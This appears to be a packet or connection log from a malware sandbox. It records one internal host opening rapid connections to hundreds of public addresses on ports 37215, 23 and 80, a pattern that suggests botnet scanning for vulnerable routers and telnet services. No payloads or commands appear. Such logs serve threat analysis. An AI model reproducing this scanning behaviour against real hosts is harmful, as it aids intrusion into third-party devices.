Jan 30, 2025 10:42:59.128447056 CET	38811	37215	192.168.2.13	197.177.156.105
Jan 30, 2025 10:42:59.128447056 CET	38811	37215	192.168.2.13	156.50.75.154
Jan 30, 2025 10:42:59.128451109 CET	38811	37215	192.168.2.13	41.200.185.139
Jan 30, 2025 10:42:59.128463030 CET	38811	37215	192.168.2.13	156.173.131.133
Jan 30, 2025 10:42:59.128465891 CET	38811	37215	192.168.2.13	197.47.110.12
Jan 30, 2025 10:42:59.128465891 CET	38811	37215	192.168.2.13	156.143.200.242
Jan 30, 2025 10:42:59.128469944 CET	38811	37215	192.168.2.13	156.159.212.23
Jan 30, 2025 10:42:59.128469944 CET	38811	37215	192.168.2.13	41.144.186.181
Jan 30, 2025 10:42:59.128475904 CET	38811	37215	192.168.2.13	41.1.40.211
Jan 30, 2025 10:42:59.128473997 CET	38811	37215	192.168.2.13	197.202.102.214
Jan 30, 2025 10:42:59.128473997 CET	38811	37215	192.168.2.13	197.140.53.100
Jan 30, 2025 10:42:59.128479958 CET	38811	37215	192.168.2.13	41.76.111.51
Jan 30, 2025 10:42:59.128501892 CET	38811	37215	192.168.2.13	197.135.215.139
Jan 30, 2025 10:42:59.128504992 CET	38811	37215	192.168.2.13	156.78.116.238
Jan 30, 2025 10:42:59.128519058 CET	38811	37215	192.168.2.13	197.159.53.181
Jan 30, 2025 10:42:59.128530979 CET	38811	37215	192.168.2.13	41.217.45.166
Jan 30, 2025 10:42:59.128532887 CET	38811	37215	192.168.2.13	41.86.163.130
Jan 30, 2025 10:42:59.128535032 CET	38811	37215	192.168.2.13	156.7.84.10
Jan 30, 2025 10:42:59.128540039 CET	38811	37215	192.168.2.13	197.27.127.83
Jan 30, 2025 10:42:59.128542900 CET	38811	37215	192.168.2.13	156.9.236.79
Jan 30, 2025 10:42:59.128544092 CET	38811	37215	192.168.2.13	41.61.183.190
Jan 30, 2025 10:42:59.128546000 CET	38811	37215	192.168.2.13	156.82.214.139
Jan 30, 2025 10:42:59.128546000 CET	38811	37215	192.168.2.13	156.195.22.219
Jan 30, 2025 10:42:59.128545046 CET	38811	37215	192.168.2.13	156.203.190.142
Jan 30, 2025 10:42:59.128547907 CET	38811	37215	192.168.2.13	197.228.222.226
Jan 30, 2025 10:42:59.128547907 CET	38811	37215	192.168.2.13	41.159.227.197
Jan 30, 2025 10:42:59.128547907 CET	38811	37215	192.168.2.13	41.157.115.80
Jan 30, 2025 10:42:59.128549099 CET	38811	37215	192.168.2.13	41.9.62.221
Jan 30, 2025 10:42:59.128554106 CET	38811	37215	192.168.2.13	156.7.21.61
Jan 30, 2025 10:42:59.128577948 CET	38811	37215	192.168.2.13	156.215.193.255
Jan 30, 2025 10:42:59.128585100 CET	38811	37215	192.168.2.13	41.181.125.87
Jan 30, 2025 10:42:59.128592014 CET	38811	37215	192.168.2.13	156.154.182.87
Jan 30, 2025 10:42:59.128603935 CET	38811	37215	192.168.2.13	41.96.239.120
Jan 30, 2025 10:42:59.128604889 CET	38811	37215	192.168.2.13	156.69.167.98
Jan 30, 2025 10:42:59.128604889 CET	38811	37215	192.168.2.13	156.109.195.35
Jan 30, 2025 10:42:59.128603935 CET	38811	37215	192.168.2.13	41.148.222.38
Jan 30, 2025 10:42:59.128628969 CET	38811	37215	192.168.2.13	41.45.24.234
Jan 30, 2025 10:42:59.128639936 CET	38811	37215	192.168.2.13	156.188.49.235
Jan 30, 2025 10:42:59.128644943 CET	38811	37215	192.168.2.13	156.166.211.231
Jan 30, 2025 10:42:59.128644943 CET	38811	37215	192.168.2.13	156.172.204.19
Jan 30, 2025 10:42:59.128659964 CET	38811	37215	192.168.2.13	156.30.226.88
Jan 30, 2025 10:42:59.128660917 CET	38811	37215	192.168.2.13	156.95.62.165
Jan 30, 2025 10:42:59.128670931 CET	38811	37215	192.168.2.13	156.94.248.75
Jan 30, 2025 10:42:59.128670931 CET	38811	37215	192.168.2.13	197.119.139.227
Jan 30, 2025 10:42:59.128674030 CET	38811	37215	192.168.2.13	156.109.139.255
Jan 30, 2025 10:42:59.128674030 CET	38811	37215	192.168.2.13	41.62.103.112
Jan 30, 2025 10:42:59.128674030 CET	38811	37215	192.168.2.13	41.54.10.191
Jan 30, 2025 10:42:59.128674030 CET	38811	37215	192.168.2.13	41.86.61.168
Jan 30, 2025 10:42:59.128676891 CET	38811	37215	192.168.2.13	156.38.177.171
Jan 30, 2025 10:42:59.128685951 CET	38811	37215	192.168.2.13	41.48.200.133
Jan 30, 2025 10:42:59.128695011 CET	38811	37215	192.168.2.13	41.41.117.148
Jan 30, 2025 10:42:59.128695965 CET	38811	37215	192.168.2.13	197.230.159.201
Jan 30, 2025 10:42:59.128706932 CET	38811	37215	192.168.2.13	41.196.40.238
Jan 30, 2025 10:42:59.128715038 CET	38811	37215	192.168.2.13	156.90.121.188
Jan 30, 2025 10:42:59.128716946 CET	38811	37215	192.168.2.13	156.146.27.30
Jan 30, 2025 10:42:59.128716946 CET	38811	37215	192.168.2.13	197.60.146.178
Jan 30, 2025 10:42:59.128717899 CET	38811	37215	192.168.2.13	41.41.93.148
Jan 30, 2025 10:42:59.128720999 CET	38811	37215	192.168.2.13	197.109.203.55
Jan 30, 2025 10:42:59.128724098 CET	38811	37215	192.168.2.13	156.220.203.67
Jan 30, 2025 10:42:59.128725052 CET	38811	37215	192.168.2.13	156.198.5.143
Jan 30, 2025 10:42:59.128752947 CET	51816	80	192.168.2.13	117.176.214.115
Jan 30, 2025 10:42:59.128757000 CET	38811	37215	192.168.2.13	197.48.242.50
Jan 30, 2025 10:42:59.128762007 CET	38811	37215	192.168.2.13	41.92.218.37
Jan 30, 2025 10:42:59.128777981 CET	38811	37215	192.168.2.13	156.8.151.175
Jan 30, 2025 10:42:59.128777981 CET	38811	37215	192.168.2.13	156.29.202.34
Jan 30, 2025 10:42:59.128777981 CET	38811	37215	192.168.2.13	197.188.127.130
Jan 30, 2025 10:42:59.128783941 CET	38811	37215	192.168.2.13	197.115.33.26
Jan 30, 2025 10:42:59.128820896 CET	38811	37215	192.168.2.13	41.26.227.28
Jan 30, 2025 10:42:59.128823042 CET	38811	37215	192.168.2.13	197.52.140.50
Jan 30, 2025 10:42:59.128823996 CET	38811	37215	192.168.2.13	41.125.167.226
Jan 30, 2025 10:42:59.128823996 CET	38811	37215	192.168.2.13	41.33.193.75
Jan 30, 2025 10:42:59.128824949 CET	38811	37215	192.168.2.13	197.99.58.225
Jan 30, 2025 10:42:59.128825903 CET	38811	37215	192.168.2.13	197.36.206.24
Jan 30, 2025 10:42:59.128825903 CET	38811	37215	192.168.2.13	156.5.133.58
Jan 30, 2025 10:42:59.128837109 CET	38811	37215	192.168.2.13	156.67.49.58
Jan 30, 2025 10:42:59.128839970 CET	38811	37215	192.168.2.13	41.26.38.182
Jan 30, 2025 10:42:59.128839970 CET	38811	37215	192.168.2.13	197.186.94.189
Jan 30, 2025 10:42:59.128844023 CET	38811	37215	192.168.2.13	156.40.181.135
Jan 30, 2025 10:42:59.128844976 CET	38811	37215	192.168.2.13	156.145.173.100
Jan 30, 2025 10:42:59.128844976 CET	38811	37215	192.168.2.13	197.231.91.159
Jan 30, 2025 10:42:59.128845930 CET	38811	37215	192.168.2.13	197.172.93.215
Jan 30, 2025 10:42:59.128845930 CET	38811	37215	192.168.2.13	41.8.113.33
Jan 30, 2025 10:42:59.128856897 CET	38811	37215	192.168.2.13	156.46.160.217
Jan 30, 2025 10:42:59.128859997 CET	38811	37215	192.168.2.13	41.105.58.233
Jan 30, 2025 10:42:59.128864050 CET	38811	37215	192.168.2.13	41.123.200.148
Jan 30, 2025 10:42:59.128864050 CET	38811	37215	192.168.2.13	197.7.51.131
Jan 30, 2025 10:42:59.128864050 CET	38811	37215	192.168.2.13	41.142.242.101
Jan 30, 2025 10:42:59.128864050 CET	38811	37215	192.168.2.13	156.161.251.146
Jan 30, 2025 10:42:59.128864050 CET	38811	37215	192.168.2.13	197.50.180.186
Jan 30, 2025 10:42:59.128866911 CET	38811	37215	192.168.2.13	41.194.102.204
Jan 30, 2025 10:42:59.128866911 CET	38811	37215	192.168.2.13	41.31.43.251
Jan 30, 2025 10:42:59.128866911 CET	38811	37215	192.168.2.13	156.219.83.71
Jan 30, 2025 10:42:59.128868103 CET	38811	37215	192.168.2.13	156.35.54.196
Jan 30, 2025 10:42:59.128870964 CET	38811	37215	192.168.2.13	197.13.197.109
Jan 30, 2025 10:42:59.128868103 CET	38811	37215	192.168.2.13	197.106.193.64
Jan 30, 2025 10:42:59.128866911 CET	38811	37215	192.168.2.13	197.51.87.0
Jan 30, 2025 10:42:59.128866911 CET	38811	37215	192.168.2.13	197.215.219.57
Jan 30, 2025 10:42:59.128880978 CET	38811	37215	192.168.2.13	41.196.125.241
Jan 30, 2025 10:42:59.128891945 CET	38811	37215	192.168.2.13	156.235.0.119
Jan 30, 2025 10:42:59.128895998 CET	38811	37215	192.168.2.13	156.22.146.214
Jan 30, 2025 10:42:59.128895998 CET	38811	37215	192.168.2.13	197.238.168.133
Jan 30, 2025 10:42:59.128896952 CET	38811	37215	192.168.2.13	41.226.229.17
Jan 30, 2025 10:42:59.128914118 CET	38811	37215	192.168.2.13	197.78.78.106
Jan 30, 2025 10:42:59.128920078 CET	38811	37215	192.168.2.13	156.141.35.101
Jan 30, 2025 10:42:59.128921032 CET	38811	37215	192.168.2.13	41.206.142.203
Jan 30, 2025 10:42:59.128921986 CET	38811	37215	192.168.2.13	197.143.197.92
Jan 30, 2025 10:42:59.128921986 CET	38811	37215	192.168.2.13	41.158.91.67
Jan 30, 2025 10:42:59.128921986 CET	38811	37215	192.168.2.13	156.9.146.243
Jan 30, 2025 10:42:59.128922939 CET	38811	37215	192.168.2.13	156.18.93.11
Jan 30, 2025 10:42:59.128931999 CET	38811	37215	192.168.2.13	197.183.160.216
Jan 30, 2025 10:42:59.128932953 CET	38811	37215	192.168.2.13	41.188.243.107
Jan 30, 2025 10:42:59.128932953 CET	38811	37215	192.168.2.13	41.176.247.192
Jan 30, 2025 10:42:59.128947020 CET	38811	37215	192.168.2.13	156.247.102.186
Jan 30, 2025 10:42:59.128947973 CET	38811	37215	192.168.2.13	41.111.51.66
Jan 30, 2025 10:42:59.128978968 CET	38811	37215	192.168.2.13	197.118.209.69
Jan 30, 2025 10:42:59.128987074 CET	55448	23	192.168.2.13	190.152.225.44
Jan 30, 2025 10:42:59.129005909 CET	38811	37215	192.168.2.13	156.119.184.142
Jan 30, 2025 10:42:59.129007101 CET	38811	37215	192.168.2.13	156.60.205.152
Jan 30, 2025 10:42:59.129008055 CET	38811	37215	192.168.2.13	156.58.101.65
Jan 30, 2025 10:42:59.129012108 CET	38811	37215	192.168.2.13	197.68.212.122
Jan 30, 2025 10:42:59.129012108 CET	38811	37215	192.168.2.13	156.234.239.13
Jan 30, 2025 10:42:59.129014015 CET	38811	37215	192.168.2.13	197.134.239.55
Jan 30, 2025 10:42:59.129014015 CET	38811	37215	192.168.2.13	156.23.214.15
Jan 30, 2025 10:42:59.129014015 CET	38811	37215	192.168.2.13	197.193.174.133
Jan 30, 2025 10:42:59.129024029 CET	38811	37215	192.168.2.13	41.86.54.24
Jan 30, 2025 10:42:59.129026890 CET	38811	37215	192.168.2.13	156.19.204.226
Jan 30, 2025 10:42:59.129028082 CET	38811	37215	192.168.2.13	197.48.98.76
Jan 30, 2025 10:42:59.129028082 CET	38811	37215	192.168.2.13	41.29.126.175
Jan 30, 2025 10:42:59.129028082 CET	38811	37215	192.168.2.13	156.179.235.7
Jan 30, 2025 10:42:59.129045010 CET	38811	37215	192.168.2.13	197.12.244.170
Jan 30, 2025 10:42:59.129048109 CET	38811	37215	192.168.2.13	156.69.136.152
Jan 30, 2025 10:42:59.129050970 CET	38811	37215	192.168.2.13	41.87.203.168
Jan 30, 2025 10:42:59.129050970 CET	38811	37215	192.168.2.13	197.189.46.195
Jan 30, 2025 10:42:59.129051924 CET	38811	37215	192.168.2.13	197.88.126.142
Jan 30, 2025 10:42:59.129057884 CET	38811	37215	192.168.2.13	156.197.102.107
Jan 30, 2025 10:42:59.129060030 CET	38811	37215	192.168.2.13	197.57.152.216
Jan 30, 2025 10:42:59.129060030 CET	38811	37215	192.168.2.13	197.206.136.69
Jan 30, 2025 10:42:59.129067898 CET	38811	37215	192.168.2.13	197.176.110.55
Jan 30, 2025 10:42:59.129071951 CET	38811	37215	192.168.2.13	41.121.240.144
Jan 30, 2025 10:42:59.129071951 CET	38811	37215	192.168.2.13	197.19.181.45
Jan 30, 2025 10:42:59.129076004 CET	38811	37215	192.168.2.13	197.173.16.172
Jan 30, 2025 10:42:59.129081011 CET	38811	37215	192.168.2.13	197.108.193.251
Jan 30, 2025 10:42:59.129086018 CET	38811	37215	192.168.2.13	197.222.123.172
Jan 30, 2025 10:42:59.129086018 CET	38811	37215	192.168.2.13	197.147.32.215
Jan 30, 2025 10:42:59.129106045 CET	38811	37215	192.168.2.13	197.180.173.133
Jan 30, 2025 10:42:59.129127979 CET	38811	37215	192.168.2.13	156.119.103.90
Jan 30, 2025 10:42:59.129131079 CET	38811	37215	192.168.2.13	156.145.195.135
Jan 30, 2025 10:42:59.129141092 CET	38811	37215	192.168.2.13	197.161.4.214
Jan 30, 2025 10:42:59.129144907 CET	38811	37215	192.168.2.13	41.44.226.253
Jan 30, 2025 10:42:59.129146099 CET	38811	37215	192.168.2.13	41.190.14.64
Jan 30, 2025 10:42:59.129147053 CET	38811	37215	192.168.2.13	41.50.148.76
Jan 30, 2025 10:42:59.129147053 CET	38811	37215	192.168.2.13	41.91.227.54
Jan 30, 2025 10:42:59.129147053 CET	38811	37215	192.168.2.13	156.38.30.94
Jan 30, 2025 10:42:59.129158020 CET	38811	37215	192.168.2.13	41.241.203.204
Jan 30, 2025 10:42:59.129158020 CET	38811	37215	192.168.2.13	197.136.95.248
Jan 30, 2025 10:42:59.129163027 CET	38811	37215	192.168.2.13	197.146.137.225
Jan 30, 2025 10:42:59.129172087 CET	38811	37215	192.168.2.13	156.71.109.60
Jan 30, 2025 10:42:59.129173040 CET	38811	37215	192.168.2.13	197.89.55.237
Jan 30, 2025 10:42:59.129173040 CET	38811	37215	192.168.2.13	41.114.155.124
Jan 30, 2025 10:42:59.129173040 CET	38811	37215	192.168.2.13	197.190.180.236
Jan 30, 2025 10:42:59.129184008 CET	38811	37215	192.168.2.13	41.19.75.241
Jan 30, 2025 10:42:59.129193068 CET	38811	37215	192.168.2.13	41.43.0.189
Jan 30, 2025 10:42:59.129193068 CET	38811	37215	192.168.2.13	156.15.13.221
Jan 30, 2025 10:42:59.129194975 CET	38811	37215	192.168.2.13	41.129.118.6
Jan 30, 2025 10:42:59.129196882 CET	38811	37215	192.168.2.13	41.112.233.53
Jan 30, 2025 10:42:59.129203081 CET	38811	37215	192.168.2.13	197.136.142.28
Jan 30, 2025 10:42:59.129203081 CET	38811	37215	192.168.2.13	41.68.68.86
Jan 30, 2025 10:42:59.129203081 CET	38811	37215	192.168.2.13	197.211.123.192
Jan 30, 2025 10:42:59.129211903 CET	38811	37215	192.168.2.13	156.19.199.38
Jan 30, 2025 10:42:59.129211903 CET	38811	37215	192.168.2.13	197.167.224.151
Jan 30, 2025 10:42:59.129215956 CET	38811	37215	192.168.2.13	197.217.201.34
Jan 30, 2025 10:42:59.129242897 CET	38811	37215	192.168.2.13	156.233.118.182
Jan 30, 2025 10:42:59.129242897 CET	38811	37215	192.168.2.13	41.186.38.116
Jan 30, 2025 10:42:59.129242897 CET	38811	37215	192.168.2.13	197.191.89.196
Jan 30, 2025 10:42:59.131738901 CET	49012	23	192.168.2.13	177.252.133.222
Jan 30, 2025 10:42:59.131887913 CET	49264	37215	192.168.2.13	197.15.93.92
Jan 30, 2025 10:42:59.131978035 CET	48158	80	192.168.2.13	74.228.168.93
Jan 30, 2025 10:42:59.134541035 CET	52990	80	192.168.2.13	118.40.123.22
Jan 30, 2025 10:42:59.134680033 CET	47520	23	192.168.2.13	61.38.251.161
Jan 30, 2025 10:42:59.136550903 CET	23	49012	177.252.133.222	192.168.2.13
Jan 30, 2025 10:42:59.136595011 CET	49012	23	192.168.2.13	177.252.133.222
Jan 30, 2025 10:42:59.137298107 CET	33948	37215	192.168.2.13	197.210.224.92
Jan 30, 2025 10:42:59.137453079 CET	58200	80	192.168.2.13	201.240.60.239
Jan 30, 2025 10:42:59.137749910 CET	44478	23	192.168.2.13	216.134.201.22
Jan 30, 2025 10:42:59.139184952 CET	34554	443	192.168.2.13	117.47.93.92
Jan 30, 2025 10:42:59.140032053 CET	46616	80	192.168.2.13	79.15.202.40
Jan 30, 2025 10:42:59.140355110 CET	38966	23	192.168.2.13	110.2.50.60
Jan 30, 2025 10:42:59.142002106 CET	51050	37215	192.168.2.13	197.159.203.66
Jan 30, 2025 10:42:59.142874956 CET	40688	80	192.168.2.13	39.162.215.37
Jan 30, 2025 10:42:59.143287897 CET	51754	23	192.168.2.13	184.159.212.120
Jan 30, 2025 10:42:59.144815922 CET	80	46616	79.15.202.40	192.168.2.13
Jan 30, 2025 10:42:59.144862890 CET	46616	80	192.168.2.13	79.15.202.40
Jan 30, 2025 10:42:59.145653963 CET	34142	80	192.168.2.13	24.92.71.116
Jan 30, 2025 10:42:59.145987034 CET	34012	23	192.168.2.13	166.52.97.209
Jan 30, 2025 10:42:59.147341967 CET	40274	37215	192.168.2.13	156.196.248.9
Jan 30, 2025 10:42:59.148684025 CET	57012	80	192.168.2.13	140.207.66.27
Jan 30, 2025 10:42:59.148956060 CET	48066	23	192.168.2.13	132.151.221.240
Jan 30, 2025 10:42:59.150799990 CET	39298	80	192.168.2.13	110.189.31.240
Jan 30, 2025 10:42:59.151675940 CET	34188	23	192.168.2.13	69.212.141.19
Jan 30, 2025 10:42:59.151797056 CET	42064	37215	192.168.2.13	197.14.30.79
Jan 30, 2025 10:42:59.153470039 CET	54202	80	192.168.2.13	142.153.17.34
Jan 30, 2025 10:42:59.154547930 CET	46902	23	192.168.2.13	42.243.228.158
Jan 30, 2025 10:42:59.156466961 CET	23	34188	69.212.141.19	192.168.2.13
Jan 30, 2025 10:42:59.156511068 CET	34188	23	192.168.2.13	69.212.141.19
Jan 30, 2025 10:42:59.156958103 CET	58900	80	192.168.2.13	37.15.41.187
Jan 30, 2025 10:42:59.157447100 CET	46428	37215	192.168.2.13	41.41.97.126
Jan 30, 2025 10:42:59.157955885 CET	47128	23	192.168.2.13	37.86.58.14
Jan 30, 2025 10:42:59.160974979 CET	39986	80	192.168.2.13	151.141.250.48
Jan 30, 2025 10:42:59.162007093 CET	37956	23	192.168.2.13	212.112.8.160
Jan 30, 2025 10:42:59.163798094 CET	60346	80	192.168.2.13	47.210.173.27
Jan 30, 2025 10:42:59.164238930 CET	36512	37215	192.168.2.13	156.222.154.27
Jan 30, 2025 10:42:59.165864944 CET	80	39986	151.141.250.48	192.168.2.13
Jan 30, 2025 10:42:59.165935993 CET	39986	80	192.168.2.13	151.141.250.48
Jan 30, 2025 10:42:59.166251898 CET	49794	23	192.168.2.13	106.214.158.142
Jan 30, 2025 10:42:59.167579889 CET	41702	80	192.168.2.13	158.127.154.218
Jan 30, 2025 10:42:59.169866085 CET	59726	23	192.168.2.13	159.60.134.244
Jan 30, 2025 10:42:59.170949936 CET	50344	37215	192.168.2.13	197.28.132.23
Jan 30, 2025 10:42:59.171056032 CET	59250	80	192.168.2.13	87.193.63.174
Jan 30, 2025 10:42:59.173341990 CET	39202	23	192.168.2.13	187.57.161.135
Jan 30, 2025 10:42:59.174808979 CET	51010	80	192.168.2.13	133.189.70.235
Jan 30, 2025 10:42:59.176929951 CET	58038	23	192.168.2.13	191.171.171.145
Jan 30, 2025 10:42:59.177268982 CET	48600	37215	192.168.2.13	156.251.188.68
Jan 30, 2025 10:42:59.178334951 CET	23	39202	187.57.161.135	192.168.2.13
Jan 30, 2025 10:42:59.178383112 CET	39202	23	192.168.2.13	187.57.161.135
Jan 30, 2025 10:42:59.178426981 CET	45886	80	192.168.2.13	69.237.129.50
Jan 30, 2025 10:42:59.179450035 CET	36542	23	192.168.2.13	9.93.147.20
Jan 30, 2025 10:42:59.181205988 CET	53056	80	192.168.2.13	91.139.116.6
Jan 30, 2025 10:42:59.182307959 CET	60142	23	192.168.2.13	17.161.84.176
Jan 30, 2025 10:42:59.182513952 CET	46100	37215	192.168.2.13	197.229.174.221
Jan 30, 2025 10:42:59.184483051 CET	53082	80	192.168.2.13	111.239.161.67
Jan 30, 2025 10:42:59.184500933 CET	23	36542	9.93.147.20	192.168.2.13
Jan 30, 2025 10:42:59.184545040 CET	36542	23	192.168.2.13	9.93.147.20
Jan 30, 2025 10:42:59.185522079 CET	53430	23	192.168.2.13	105.10.200.237
Jan 30, 2025 10:42:59.187345028 CET	33448	80	192.168.2.13	179.164.175.64
Jan 30, 2025 10:42:59.187917948 CET	54760	37215	192.168.2.13	41.186.113.132
Jan 30, 2025 10:42:59.188432932 CET	38092	23	192.168.2.13	64.113.69.209
Jan 30, 2025 10:42:59.190409899 CET	43644	80	192.168.2.13	156.104.231.189
Jan 30, 2025 10:42:59.191806078 CET	39342	23	192.168.2.13	131.168.102.108
Jan 30, 2025 10:42:59.193320036 CET	47690	37215	192.168.2.13	197.250.208.96
Jan 30, 2025 10:42:59.193422079 CET	55008	80	192.168.2.13	189.109.99.160
Jan 30, 2025 10:42:59.195017099 CET	36550	23	192.168.2.13	137.21.34.231
Jan 30, 2025 10:42:59.196785927 CET	23	39342	131.168.102.108	192.168.2.13
Jan 30, 2025 10:42:59.196849108 CET	39342	23	192.168.2.13	131.168.102.108
Jan 30, 2025 10:42:59.196959019 CET	44254	80	192.168.2.13	114.96.96.32
Jan 30, 2025 10:42:59.198734999 CET	38452	23	192.168.2.13	34.255.22.4
Jan 30, 2025 10:42:59.199980021 CET	53202	37215	192.168.2.13	197.70.160.34
Jan 30, 2025 10:42:59.200675964 CET	47688	80	192.168.2.13	135.42.237.95
Jan 30, 2025 10:42:59.201767921 CET	52268	23	192.168.2.13	205.161.9.227
Jan 30, 2025 10:42:59.204262018 CET	49030	80	192.168.2.13	2.63.153.240
Jan 30, 2025 10:42:59.204843998 CET	37215	53202	197.70.160.34	192.168.2.13
Jan 30, 2025 10:42:59.204895973 CET	53202	37215	192.168.2.13	197.70.160.34
Jan 30, 2025 10:42:59.205501080 CET	55622	23	192.168.2.13	134.53.129.122
Jan 30, 2025 10:42:59.206326962 CET	55786	37215	192.168.2.13	41.190.43.165
Jan 30, 2025 10:42:59.208184958 CET	49490	80	192.168.2.13	45.97.204.112
Jan 30, 2025 10:42:59.209702015 CET	53208	23	192.168.2.13	196.160.135.6
Jan 30, 2025 10:42:59.212517023 CET	36506	80	192.168.2.13	132.139.158.115
Jan 30, 2025 10:42:59.213258982 CET	42170	37215	192.168.2.13	41.25.80.226
Jan 30, 2025 10:42:59.213798046 CET	40920	23	192.168.2.13	175.11.200.179
Jan 30, 2025 10:42:59.216001987 CET	53924	80	192.168.2.13	72.85.35.83
Jan 30, 2025 10:42:59.217333078 CET	33226	23	192.168.2.13	50.251.82.83
Jan 30, 2025 10:42:59.217488050 CET	80	36506	132.139.158.115	192.168.2.13
Jan 30, 2025 10:42:59.217545986 CET	36506	80	192.168.2.13	132.139.158.115
Jan 30, 2025 10:42:59.219455004 CET	58288	37215	192.168.2.13	156.215.110.203
Jan 30, 2025 10:42:59.219568968 CET	46656	80	192.168.2.13	81.129.103.114
Jan 30, 2025 10:42:59.221254110 CET	56342	23	192.168.2.13	96.199.71.245
Jan 30, 2025 10:42:59.223433971 CET	43940	80	192.168.2.13	210.44.231.105
Jan 30, 2025 10:42:59.224272013 CET	37215	58288	156.215.110.203	192.168.2.13
Jan 30, 2025 10:42:59.224339008 CET	58288	37215	192.168.2.13	156.215.110.203
Jan 30, 2025 10:42:59.224390984 CET	41330	23	192.168.2.13	138.109.236.201
Jan 30, 2025 10:42:59.225447893 CET	40066	37215	192.168.2.13	197.32.208.156
Jan 30, 2025 10:42:59.226582050 CET	47122	80	192.168.2.13	140.60.134.231
Jan 30, 2025 10:42:59.229571104 CET	48238	80	192.168.2.13	161.250.104.185
Jan 30, 2025 10:42:59.232038975 CET	39574	37215	192.168.2.13	156.134.114.48
Jan 30, 2025 10:42:59.233663082 CET	55484	80	192.168.2.13	154.68.83.93
Jan 30, 2025 10:42:59.236304045 CET	44868	80	192.168.2.13	68.131.164.7
Jan 30, 2025 10:42:59.237076044 CET	37215	39574	156.134.114.48	192.168.2.13
Jan 30, 2025 10:42:59.237191916 CET	39574	37215	192.168.2.13	156.134.114.48
Jan 30, 2025 10:42:59.237797022 CET	53098	37215	192.168.2.13	197.143.240.49
Jan 30, 2025 10:42:59.238308907 CET	56844	80	192.168.2.13	205.159.25.41
Jan 30, 2025 10:42:59.241235018 CET	49444	80	192.168.2.13	149.207.40.119
Jan 30, 2025 10:42:59.241415977 CET	57182	23	192.168.2.13	76.158.142.31
Jan 30, 2025 10:42:59.244364977 CET	59770	37215	192.168.2.13	197.232.141.234
Jan 30, 2025 10:42:59.245172977 CET	45372	80	192.168.2.13	184.78.136.240
Jan 30, 2025 10:42:59.245556116 CET	41002	23	192.168.2.13	84.134.212.135
Jan 30, 2025 10:42:59.246057987 CET	80	49444	149.207.40.119	192.168.2.13
Jan 30, 2025 10:42:59.246145010 CET	49444	80	192.168.2.13	149.207.40.119
Jan 30, 2025 10:42:59.248164892 CET	33492	80	192.168.2.13	53.135.77.209
Jan 30, 2025 10:42:59.248471975 CET	57806	23	192.168.2.13	218.218.61.235
Jan 30, 2025 10:42:59.249808073 CET	51654	37215	192.168.2.13	41.93.105.172
Jan 30, 2025 10:42:59.250766039 CET	57604	80	192.168.2.13	27.125.73.226
Jan 30, 2025 10:42:59.251945972 CET	48060	23	192.168.2.13	73.18.19.59
Jan 30, 2025 10:42:59.254164934 CET	34552	80	192.168.2.13	192.220.153.120
Jan 30, 2025 10:42:59.255295992 CET	54394	23	192.168.2.13	201.19.100.163
Jan 30, 2025 10:42:59.255419970 CET	49940	37215	192.168.2.13	41.206.127.39
Jan 30, 2025 10:42:59.256809950 CET	50604	80	192.168.2.13	57.51.123.107
Jan 30, 2025 10:42:59.256884098 CET	23	48060	73.18.19.59	192.168.2.13
Jan 30, 2025 10:42:59.256947994 CET	48060	23	192.168.2.13	73.18.19.59
Jan 30, 2025 10:42:59.258759975 CET	48810	23	192.168.2.13	38.57.165.195
Jan 30, 2025 10:42:59.260256052 CET	42194	80	192.168.2.13	151.186.81.38
Jan 30, 2025 10:42:59.261964083 CET	49976	37215	192.168.2.13	156.38.234.24
Jan 30, 2025 10:42:59.262670994 CET	56412	23	192.168.2.13	76.22.175.208
Jan 30, 2025 10:42:59.263870955 CET	48344	80	192.168.2.13	20.76.200.177
Jan 30, 2025 10:42:59.265100956 CET	80	42194	151.186.81.38	192.168.2.13
Jan 30, 2025 10:42:59.265151978 CET	42194	80	192.168.2.13	151.186.81.38
Jan 30, 2025 10:42:59.266520023 CET	56932	23	192.168.2.13	68.42.210.225
Jan 30, 2025 10:42:59.267354012 CET	35038	80	192.168.2.13	119.44.88.156
Jan 30, 2025 10:42:59.269263029 CET	40842	37215	192.168.2.13	156.210.246.123
Jan 30, 2025 10:42:59.270663977 CET	46110	23	192.168.2.13	168.13.123.168
Jan 30, 2025 10:42:59.270888090 CET	60600	80	192.168.2.13	52.100.104.91
Jan 30, 2025 10:42:59.274297953 CET	38900	80	192.168.2.13	151.177.64.144
Jan 30, 2025 10:42:59.274487019 CET	42014	23	192.168.2.13	202.199.177.209
Jan 30, 2025 10:42:59.274617910 CET	55756	37215	192.168.2.13	41.134.202.79
Jan 30, 2025 10:42:59.277698994 CET	49082	80	192.168.2.13	13.158.192.185
Jan 30, 2025 10:42:59.277829885 CET	38342	23	192.168.2.13	164.140.84.229
Jan 30, 2025 10:42:59.279103994 CET	80	38900	151.177.64.144	192.168.2.13
Jan 30, 2025 10:42:59.279155970 CET	38900	80	192.168.2.13	151.177.64.144
Jan 30, 2025 10:42:59.280622959 CET	36656	37215	192.168.2.13	41.153.173.123
Jan 30, 2025 10:42:59.280725956 CET	35366	80	192.168.2.13	204.114.45.203
Jan 30, 2025 10:42:59.280930042 CET	44640	23	192.168.2.13	79.168.215.107
Jan 30, 2025 10:42:59.283337116 CET	44616	80	192.168.2.13	67.14.228.78
Jan 30, 2025 10:42:59.283986092 CET	35894	23	192.168.2.13	82.206.253.218
Jan 30, 2025 10:42:59.285449982 CET	37215	36656	41.153.173.123	192.168.2.13
Jan 30, 2025 10:42:59.285495996 CET	36656	37215	192.168.2.13	41.153.173.123
Jan 30, 2025 10:42:59.286343098 CET	40202	37215	192.168.2.13	41.165.32.193
Jan 30, 2025 10:42:59.286953926 CET	54530	80	192.168.2.13	9.152.149.102
Jan 30, 2025 10:42:59.288393021 CET	35742	23	192.168.2.13	44.158.103.37
Jan 30, 2025 10:42:59.290699005 CET	45278	80	192.168.2.13	116.250.119.199
Jan 30, 2025 10:42:59.291933060 CET	54444	23	192.168.2.13	124.172.6.201
Jan 30, 2025 10:42:59.292911053 CET	36952	37215	192.168.2.13	197.20.56.225
Jan 30, 2025 10:42:59.293870926 CET	36998	80	192.168.2.13	198.161.133.137
Jan 30, 2025 10:42:59.295198917 CET	47224	23	192.168.2.13	178.204.191.229
Jan 30, 2025 10:42:59.296786070 CET	23	54444	124.172.6.201	192.168.2.13
Jan 30, 2025 10:42:59.296838999 CET	54444	23	192.168.2.13	124.172.6.201
Jan 30, 2025 10:42:59.297010899 CET	45524	80	192.168.2.13	82.141.104.81
Jan 30, 2025 10:42:59.299107075 CET	45262	23	192.168.2.13	130.96.21.12
Jan 30, 2025 10:42:59.299431086 CET	40298	37215	192.168.2.13	197.56.120.123
